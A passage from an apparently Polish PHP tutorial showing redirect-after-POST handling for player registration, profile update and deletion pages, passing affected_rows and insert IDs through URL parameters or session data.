$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $username = trim($_POST&#91;'username'] ?? '');
    $email = trim($_POST&#91;'email'] ?? '');
    
    // Walidacja...
    
    $stmt = $db-&gt;prepare("INSERT INTO players (username, email, created_at) VALUES (?, ?, NOW())");
    $stmt-&gt;bind_param("ss", $username, $email);
    
    if ($stmt-&gt;execute()) {
        $new_player_id = $stmt-&gt;insert_id;
        
        $stmt-&gt;close();
        $db-&gt;close();
        
        // PRZEKIEROWANIE - zapobiega duplikatom
        header("Location: profil.php?id={$new_player_id}");
        exit; // ZAWSZE exit po header!
    }
    
    $stmt-&gt;close();
}

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;form method="POST"&gt;
    &lt;input type="text" name="username" required&gt;
    &lt;input type="email" name="email" required&gt;
    &lt;button type="submit"&gt;Zarejestruj&lt;/button&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h3 class="wp-block-heading">Przykład 2: Przekazywanie informacji przez URL (GET)</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $username = trim($_POST&#91;'username'] ?? '');
    $email = trim($_POST&#91;'email'] ?? '');
    $level = (int)($_POST&#91;'level'] ?? 1);
    
    // Walidacja...
    
    $stmt = $db-&gt;prepare("INSERT INTO players (username, email, level, created_at) VALUES (?, ?, ?, NOW())");
    $stmt-&gt;bind_param("ssi", $username, $email, $level);
    
    if ($stmt-&gt;execute()) {
        $new_player_id = $stmt-&gt;insert_id;
        $affected_rows = $stmt-&gt;affected_rows;
        
        $stmt-&gt;close();
        $db-&gt;close();
        
        // Przekazanie wielu informacji przez URL
        header("Location: sukces.php?id={$new_player_id}&amp;username=" . urlencode($username) . "&amp;affected={$affected_rows}&amp;action=register");
        exit;
    }
    
    $stmt-&gt;close();
}

$db-&gt;close();
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Plik: sukces.php</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Odbieramy dane z URL
$new_player_id = (int)($_GET&#91;'id'] ?? 0);
$username = htmlspecialchars($_GET&#91;'username'] ?? 'Nieznany');
$affected_rows = (int)($_GET&#91;'affected'] ?? 0);
$action = htmlspecialchars($_GET&#91;'action'] ?? '');

if ($new_player_id &lt;= 0) {
    die('Nieprawidłowe ID');
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja zakończona&lt;/title&gt;
    &lt;style&gt;
        .success-box {
            background: #d4edda;
            color: #155724;
            padding: 20px;
            border-radius: 5px;
            border-left: 4px solid #c3e6cb;
            margin: 20px;
        }
        .info {
            background: #d1ecf1;
            color: #0c5460;
            padding: 15px;
            border-radius: 5px;
            margin: 20px;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="success-box"&gt;
    &lt;h2&gt;Rejestracja zakończona sukcesem!&lt;/h2&gt;
    &lt;p&gt;Witaj, &lt;strong&gt;&lt;?= $username ?&gt;&lt;/strong&gt;!&lt;/p&gt;
&lt;/div&gt;

&lt;div class="info"&gt;
    &lt;strong&gt;Szczegóły operacji:&lt;/strong&gt;&lt;br&gt;
    ID nowego gracza: &lt;strong&gt;&lt;?= $new_player_id ?&gt;&lt;/strong&gt;&lt;br&gt;
    Liczba dodanych rekordów: &lt;strong&gt;&lt;?= $affected_rows ?&gt;&lt;/strong&gt;&lt;br&gt;
    Typ operacji: &lt;strong&gt;&lt;?= $action ?&gt;&lt;/strong&gt;&lt;br&gt;
    &lt;br&gt;
    &lt;a href="profil.php?id=&lt;?= $new_player_id ?&gt;"&gt;Zobacz profil&lt;/a&gt; |
    &lt;a href="lista_graczy.php"&gt;Lista graczy&lt;/a&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Zalety:</strong></p>



<ul class="wp-block-list">
<li>Proste</li>



<li>Nie wymaga sesji</li>



<li>Działa zawsze</li>
</ul>



<p class="wp-block-paragraph"><strong>Wady:</strong></p>



<ul class="wp-block-list">
<li>Dane widoczne w URL</li>



<li>Ograniczona ilość danych (max ~2000 znaków)</li>



<li>Nie nadaje się dla wrażliwych informacji</li>
</ul>



<h3 class="wp-block-heading">Przykład 3: Przekazywanie informacji przez SESJĘ</h3>



<p class="wp-block-paragraph">Kiedy używać:</p>



<ul class="wp-block-list">
<li>Komunikaty sukcesu/błędu</li>



<li>Więcej danych</li>



<li>Dane wrażliwe</li>



<li>Profesjonalne projekty</li>
</ul>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start(); // ZAWSZE na początku pliku!

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

$errors = &#91;];

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $username = trim($_POST&#91;'username'] ?? '');
    $email = trim($_POST&#91;'email'] ?? '');
    $password = $_POST&#91;'password'] ?? '';
    
    // Walidacja danych
    if (empty($username)) {
        $errors&#91;] = "Nick jest wymagany";
    } elseif (strlen($username) &lt; 3) {
        $errors&#91;] = "Nick musi mieć minimum 3 znaki";
    }
    
    if (empty($email)) {
        $errors&#91;] = "Email jest wymagany";
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors&#91;] = "Nieprawidłowy format email";
    }
    
    if (empty($password)) {
        $errors&#91;] = "Hasło jest wymagane";
    } elseif (strlen($password) &lt; 8) {
        $errors&#91;] = "Hasło musi mieć minimum 8 znaków";
    }
    
    // Sprawdzamy czy username już istnieje
    if (empty($errors)) {
        $stmt = $db-&gt;prepare("SELECT id FROM players WHERE username = ?");
        $stmt-&gt;bind_param("s", $username);
        $stmt-&gt;execute();
        $stmt-&gt;store_result();
        
        if ($stmt-&gt;num_rows &gt; 0) {
            $errors&#91;] = "Nick '{$username}' jest już zajęty";
        }
        $stmt-&gt;close();
    }
    
    // Jeśli brak błędów - dodajemy gracza
    if (empty($errors)) {
        $password_hash = password_hash($password, PASSWORD_DEFAULT);
        
        $stmt = $db-&gt;prepare("INSERT INTO players (username, email, password, created_at) VALUES (?, ?, ?, NOW())");
        $stmt-&gt;bind_param("sss", $username, $email, $password_hash);
        
        if ($stmt-&gt;execute()) {
            // Pobieramy informacje o operacji
            $new_player_id = $stmt-&gt;insert_id;
            $affected_rows = $stmt-&gt;affected_rows;
            
            $stmt-&gt;close();
            $db-&gt;close();
            
            // Zapisujemy dane w sesji
            $_SESSION&#91;'registration_success'] = &#91;
                'player_id' =&gt; $new_player_id,
                'username' =&gt; $username,
                'email' =&gt; $email,
                'affected_rows' =&gt; $affected_rows,
                'timestamp' =&gt; date('Y-m-d H:i:s')
            ];
            
            // Przekierowanie (URL czysty, bez danych)
            header("Location: rejestracja_sukces.php");
            exit;
            
        } else {
            $errors&#91;] = "Wystąpił błąd podczas rejestracji: {$stmt-&gt;error}";
        }
        
        $stmt-&gt;close();
    }
}

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja gracza&lt;/title&gt;
    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            max-width: 500px;
            width: 100%;
        }
        h1 {
            margin-bottom: 30px;
            color: #333;
            text-align: center;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="container"&gt;
    &lt;h1&gt;Rejestracja Gracza&lt;/h1&gt;
    
    &lt;?php if (!empty($errors)): ?&gt;
        &lt;div class="error"&gt;
            &lt;strong&gt;Błędy walidacji:&lt;/strong&gt;
            &lt;ul&gt;
                &lt;?php foreach ($errors as $error): ?&gt;
                    &lt;li&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/li&gt;
                &lt;?php endforeach; ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;form method="POST"&gt;
        &lt;div class="form-group"&gt;
            &lt;label&gt;Nick gracza:&lt;/label&gt;
            &lt;input type="text" name="username" 
                   value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;" 
                   placeholder="np. ProGamer123" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Email:&lt;/label&gt;
            &lt;input type="email" name="email" 
                   value="&lt;?= htmlspecialchars($_POST&#91;'email'] ?? '') ?&gt;" 
                   placeholder="twoj@email.com" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Hasło:&lt;/label&gt;
            &lt;input type="password" name="password" 
                   placeholder="Min. 8 znaków" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;button type="submit"&gt;Zarejestruj się&lt;/button&gt;
    &lt;/form&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Plik: rejestracja_sukces.php</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start(); // ZAWSZE na początku!

// Sprawdź czy istnieją dane o rejestracji
if (!isset($_SESSION&#91;'registration_success'])) {
    // Jeśli ktoś próbuje wejść bezpośrednio na tę stronę
    header("Location: rejestracja.php");
    exit;
}

// Pobierz dane z sesji
$data = $_SESSION&#91;'registration_success'];
$player_id = (int)$data&#91;'player_id'];
$username = htmlspecialchars($data&#91;'username']);
$email = htmlspecialchars($data&#91;'email']);
$affected_rows = (int)$data&#91;'affected_rows'];
$timestamp = htmlspecialchars($data&#91;'timestamp']);

// Usuń dane z sesji (wyświetl tylko raz)
unset($_SESSION&#91;'registration_success']);
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja zakończona&lt;/title&gt;
    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .success-container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            max-width: 600px;
            width: 100%;
        }
        .success-icon {
            text-align: center;
            font-size: 80px;
            color: #28a745;
            margin-bottom: 20px;
        }
        h1 {
            text-align: center;
            color: #155724;
            margin-bottom: 20px;
        }
        .success-message {
            background: #d4edda;
            color: #155724;
            padding: 20px;
            border-radius: 5px;
            border-left: 4px solid #c3e6cb;
            margin-bottom: 30px;
        }
        .info-box {
            background: #e7f3ff;
            padding: 20px;
            border-radius: 5px;
            border-left: 4px solid #2196F3;
            margin-bottom: 20px;
        }
        .info-box p {
            margin: 8px 0;
            color: #333;
        }
        .info-box strong {
            color: #0c5460;
        }
        .buttons {
            display: flex;
            gap: 10px;
            justify-content: center;
        }
        a {
            padding: 12px 30px;
            background: #667eea;
            color: white;
            text-decoration: none;
            border-radius: 5px;
            font-weight: bold;
            text-align: center;
        }
        a:hover {
            background: #764ba2;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="success-container"&gt;
    &lt;div class="success-icon"&gt;✓&lt;/div&gt;
    &lt;h1&gt;Rejestracja zakończona sukcesem!&lt;/h1&gt;
    
    &lt;div class="success-message"&gt;
        &lt;p&gt;Witaj, &lt;strong&gt;&lt;?= $username ?&gt;&lt;/strong&gt;!&lt;/p&gt;
        &lt;p&gt;Twoje konto zostało pomyślnie utworzone.&lt;/p&gt;
    &lt;/div&gt;
    
    &lt;div class="info-box"&gt;
        &lt;p&gt;&lt;strong&gt;Szczegóły operacji:&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;ID gracza: &lt;strong&gt;&lt;?= $player_id ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Username: &lt;strong&gt;&lt;?= $username ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Email: &lt;strong&gt;&lt;?= $email ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Liczba dodanych rekordów: &lt;strong&gt;&lt;?= $affected_rows ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Data rejestracji: &lt;strong&gt;&lt;?= $timestamp ?&gt;&lt;/strong&gt;&lt;/p&gt;
    &lt;/div&gt;
    
    &lt;div class="buttons"&gt;
        &lt;a href="profil.php?id=&lt;?= $player_id ?&gt;"&gt;Zobacz profil&lt;/a&gt;
        &lt;a href="logowanie.php"&gt;Zaloguj się&lt;/a&gt;
        &lt;a href="lista_graczy.php"&gt;Lista graczy&lt;/a&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Zalety:</strong></p>



<ul class="wp-block-list">
<li>Bezpieczne (dane niewidoczne w URL)</li>



<li>Można przekazać wiele danych</li>



<li>Komunikat wyświetla się tylko raz</li>



<li>Profesjonalne rozwiązanie</li>
</ul>



<p class="wp-block-paragraph"><strong>Wady:</strong></p>



<ul class="wp-block-list">
<li>Wymaga sesji</li>



<li>Trochę więcej kodu</li>
</ul>



<h3 class="wp-block-heading">Przykład 4: UPDATE z informacją o affected_rows</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

$player_id = (int)($_GET&#91;'id'] ?? 0);

if ($player_id &lt;= 0) {
    die('Nieprawidłowe ID gracza');
}

$errors = &#91;];

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $email = trim($_POST&#91;'email'] ?? '');
    $level = (int)($_POST&#91;'level'] ?? 1);
    $coins = (int)($_POST&#91;'coins'] ?? 0);
    
    // Walidacja...
    if (empty($email)) {
        $errors&#91;] = "Email jest wymagany";
    }
    
    if ($level &lt; 1 || $level &gt; 100) {
        $errors&#91;] = "Poziom musi być między 1 a 100";
    }
    
    if (empty($errors)) {
        $stmt = $db-&gt;prepare("UPDATE players SET email = ?, level = ?, coins = ? WHERE id = ?");
        $stmt-&gt;bind_param("siii", $email, $level, $coins, $player_id);
        
        if ($stmt-&gt;execute()) {
            $affected_rows = $stmt-&gt;affected_rows;
            
            $stmt-&gt;close();
            $db-&gt;close();
            
            // Zapisz informacje w sesji
            $_SESSION&#91;'update_result'] = &#91;
                'player_id' =&gt; $player_id,
                'affected_rows' =&gt; $affected_rows,
                'action' =&gt; 'update',
                'message' =&gt; $affected_rows &gt; 0 
                    ? "Profil został zaktualizowany ({$affected_rows} zmian)" 
                    : "Nie wprowadzono żadnych zmian (dane są identyczne)"
            ];
            
            // Przekierowanie
            header("Location: profil.php?id={$player_id}");
            exit;
        }
        
        $stmt-&gt;close();
    }
}

$db-&gt;close();
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Plik: profil.php (wyświetlanie komunikatu)</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

$player_id = (int)($_GET&#91;'id'] ?? 0);

// Sprawdź czy są dane o aktualizacji
$update_message = '';
$update_data = null;

if (isset($_SESSION&#91;'update_result'])) {
    $update_data = $_SESSION&#91;'update_result'];
    $update_message = $update_data&#91;'message'];
    
    // Usuń z sesji po pobraniu
    unset($_SESSION&#91;'update_result']);
}

// Połączenie i pobranie danych gracza...
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

$stmt = $db-&gt;prepare("SELECT * FROM players WHERE id = ?");
$stmt-&gt;bind_param("i", $player_id);
$stmt-&gt;execute();
$wynik = $stmt-&gt;get_result();
$gracz = $wynik-&gt;fetch_assoc();
$stmt-&gt;close();
$db-&gt;close();

if (!$gracz) {
    die('Nie znaleziono gracza');
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Profil - &lt;?= htmlspecialchars($gracz&#91;'username']) ?&gt;&lt;/title&gt;
    &lt;style&gt;
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
        }
        .info {
            background: #d1ecf1;
            color: #0c5460;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #bee5eb;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;?php if (!empty($update_message)): ?&gt;
    &lt;div class="&lt;?= $update_data&#91;'affected_rows'] &gt; 0 ? 'success' : 'info' ?&gt;"&gt;
        &lt;?= htmlspecialchars($update_message) ?&gt;
        &lt;?php if ($update_data&#91;'affected_rows'] &gt; 0): ?&gt;
            &lt;br&gt;&lt;small&gt;Liczba zaktualizowanych rekordów: &lt;?= $update_data&#91;'affected_rows'] ?&gt;&lt;/small&gt;
        &lt;?php endif; ?&gt;
    &lt;/div&gt;
&lt;?php endif; ?&gt;

&lt;h1&gt;Profil gracza: &lt;?= htmlspecialchars($gracz&#91;'username']) ?&gt;&lt;/h1&gt;
&lt;p&gt;Email: &lt;?= htmlspecialchars($gracz&#91;'email']) ?&gt;&lt;/p&gt;
&lt;p&gt;Level: &lt;?= $gracz&#91;'level'] ?&gt;&lt;/p&gt;
&lt;p&gt;Coins: &lt;?= number_format($gracz&#91;'coins']) ?&gt;&lt;/p&gt;

&lt;a href="edycja.php?id=&lt;?= $player_id ?&gt;"&gt;Edytuj profil&lt;/a&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h3 class="wp-block-heading">Przykład 5: DELETE z potwierdzeniem i informacją o affected_rows</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

$player_id = (int)($_GET&#91;'id'] ?? 0);

if ($player_id &lt;= 0) {
    die('Nieprawidłowe ID gracza');
}

// Pobierz dane gracza przed usunięciem
$stmt = $db-&gt;prepare("SELECT * FROM players WHERE id = ?");
$stmt-&gt;bind_param("i", $player_id);
$stmt-&gt;execute();
$wynik = $stmt-&gt;get_result();
$gracz = $wynik-&gt;fetch_assoc();
$stmt-&gt;close();

if (!$gracz) {
    die('Nie znaleziono gracza');
}

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_POST&#91;'confirm_delete'])) {
    
    $stmt = $db-&gt;prepare("DELETE FROM players WHERE id = ?");
    $stmt-&gt;bind_param("i", $player_id);
    
    if ($stmt-&gt;execute()) {
        $affected_rows = $stmt-&gt;affected_rows;
        
        $stmt-&gt;close();
        $db-&gt;close();
        
        // Zapisz informacje w sesji
        $_SESSION&#91;'delete_result'] = &#91;
            'username' =&gt; $gracz&#91;'username'],
            'player_id' =&gt; $player_id,
            'affected_rows' =&gt; $affected_rows,
            'action' =&gt; 'delete',
            'message' =&gt; $affected_rows &gt; 0 
                ? "Gracz '{$gracz&#91;'username']}' (ID: {$player_id}) został usunięty" 
                : "Nie usunięto gracza (możliwe że już nie istnieje)"
        ];
        
        // Przekierowanie do listy graczy
        header("Location: lista_graczy.php");
        exit;
    }
    
    $stmt-&gt;close();
}

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Usuń gracza&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #ff6b6b 0%, #ee5a6f 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.3);
            max-width: 600px;
            width: 100%;
        }
        h1 {
            color: #d32f2f;
            margin-bottom: 20px;
        }
        .warning {
            background: #fff3cd;
            border-left: 4px solid #ffc107;
            padding: 20px;
            margin-bottom: 20px;
            border-radius: 5px;
        }
        .player-info {
            background: #f8f9fa;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .buttons {
            display: flex;
            gap: 10px;
        }
        button, a {
            flex: 1;
            padding: 15px;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            text-align: center;
            text-decoration: none;
            display: inline-block;
        }
        .btn-delete {
            background: #d32f2f;
            color: white;
        }
        .btn-delete:hover {
            background: #b71c1c;
        }
        .btn-cancel {
            background: #6c757d;
            color: white;
        }
        .btn-cancel:hover {
            background: #5a6268;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="container"&gt;
    &lt;h1&gt;Usuń gracza&lt;/h1&gt;
    
    &lt;div class="warning"&gt;
        &lt;strong&gt;OSTRZEŻENIE:&lt;/strong&gt;&lt;br&gt;
        Ta operacja jest nieodwracalna! Gracz zostanie permanentnie usunięty z bazy danych.
    &lt;/div&gt;
    
    &lt;div class="player-info"&gt;
        &lt;h3&gt;Dane gracza do usunięcia:&lt;/h3&gt;
        &lt;p&gt;&lt;strong&gt;ID:&lt;/strong&gt; &lt;?= $gracz&#91;'id'] ?&gt;&lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Username:&lt;/strong&gt; &lt;?= htmlspecialchars($gracz&#91;'username']) ?&gt;&lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Email:&lt;/strong&gt; &lt;?= htmlspecialchars($gracz&#91;'email']) ?&gt;&lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Level:&lt;/strong&gt; &lt;?= $gracz&#91;'level'] ?&gt;&lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Coins:&lt;/strong&gt; &lt;?= number_format($gracz&#91;'coins']) ?&gt;&lt;/p&gt;
    &lt;/div&gt;
    
    &lt;form method="POST"&gt;
        &lt;div class="buttons"&gt;
            &lt;a href="profil.php?id=&lt;?= $player_id ?&gt;" class="btn-cancel"&gt;Anuluj&lt;/a&gt;
            &lt;button type="submit" name="confirm_delete" class="btn-delete" 
                    onclick="return confirm('Czy NA PEWNO chcesz usunąć tego gracza?')"&gt;
                Usuń gracza
            &lt;/button&gt;
        &lt;/div&gt;
    &lt;/form&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Plik: lista_graczy.php (wyświetlanie komunikatu po usunięciu)</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Sprawdź czy są dane o usunięciu
$delete_message = '';
$delete_data = null;

if (isset($_SESSION&#91;'delete_result'])) {
    $delete_data = $_SESSION&#91;'delete_result'];
    $delete_message = $delete_data&#91;'message'];
    
    // Usuń z sesji po pobraniu
    unset($_SESSION&#91;'delete_result']);
}

// Połączenie i pobranie listy graczy...
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

$stmt = $db-&gt;prepare("SELECT * FROM players ORDER BY id DESC");
$stmt-&gt;execute();
$wynik = $stmt-&gt;get_result();
$gracze = $wynik-&gt;fetch_all(MYSQLI_ASSOC);
$stmt-&gt;close();
$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Lista graczy&lt;/title&gt;
    &lt;style&gt;
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
        }
        .warning {
            background: #fff3cd;
            color: #856404;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #ffeeba;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        th, td {
            padding: 12px;
            border: 1px solid #ddd;
            text-align: left;
        }
        th {
            background: #667eea;
            color: white;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Lista graczy&lt;/h1&gt;

&lt;?php if (!empty($delete_message)): ?&gt;
    &lt;div class="&lt;?= $delete_data&#91;'affected_rows'] &gt; 0 ? 'success' : 'warning' ?&gt;"&gt;
        &lt;?= htmlspecialchars($delete_message) ?&gt;
        &lt;?php if ($delete_data&#91;'affected_rows'] &gt; 0): ?&gt;
            &lt;br&gt;&lt;small&gt;Liczba usuniętych rekordów: &lt;?= $delete_data&#91;'affected_rows'] ?&gt;&lt;/small&gt;
        &lt;?php endif; ?&gt;
    &lt;/div&gt;
&lt;?php endif; ?&gt;

&lt;table&gt;
    &lt;tr&gt;
        &lt;th&gt;ID&lt;/th&gt;
        &lt;th&gt;Username&lt;/th&gt;
        &lt;th&gt;Email&lt;/th&gt;
        &lt;th&gt;Level&lt;/th&gt;
        &lt;th&gt;Akcje&lt;/th&gt;
    &lt;/tr&gt;
    &lt;?php foreach ($gracze as $gracz): ?&gt;
        &lt;tr&gt;
            &lt;td&gt;&lt;?= $gracz&#91;'id'] ?&gt;&lt;/td&gt;
            &lt;td&gt;&lt;?= htmlspecialchars($gracz&#91;'username']) ?&gt;&lt;/td&gt;
            &lt;td&gt;&lt;?= htmlspecialchars($gracz&#91;'email']) ?&gt;&lt;/td&gt;
            &lt;td&gt;&lt;?= $gracz&#91;'level'] ?&gt;&lt;/td&gt;
            &lt;td&gt;
                &lt;a href="profil.php?id=&lt;?= $gracz&#91;'id'] ?&gt;"&gt;Profil&lt;/a&gt; |
                &lt;a href="edycja.php?id=&lt;?= $gracz&#91;'id'] ?&gt;"&gt;Edytuj&lt;/a&gt; |
                &lt;a href="usun.php?id=&lt;?= $gracz&#91;'id'] ?&gt;"&gt;Usuń&lt;/a&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
    &lt;?php endforeach; ?&gt;
&lt;/table&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h2 class="wp-block-heading">Porównanie metod przekazywania danych:</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Metoda</th><th>Bezpieczeństwo</th><th>Złożoność</th><th>Dane w URL</th><th>Wielokrotne odświeżenie</th><th>Kiedy używać</th></tr></thead><tbody><tr><td><strong>GET (URL)</strong></td><td>Niskie</td><td>Proste</td><td>Widoczne</td><td>Bezpieczne</td><td>Proste ID, niepoufne dane</td></tr><tr><td><strong>SESSION</strong></td><td>Wysokie</td><td>Średnie</td><td>Ukryte</td><td>Bezpieczne</td><td>Komunikaty, wrażliwe dane</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Najlepsze praktyki:</h3>



<ul class="wp-block-list">
<li>ZAWSZE używaj przekierowania po INSERT/UPDATE/DELETE</li>



<li>Używaj SESSION dla komunikatów i wrażliwych danych</li>



<li>Używaj GET tylko dla ID i prostych parametrów</li>



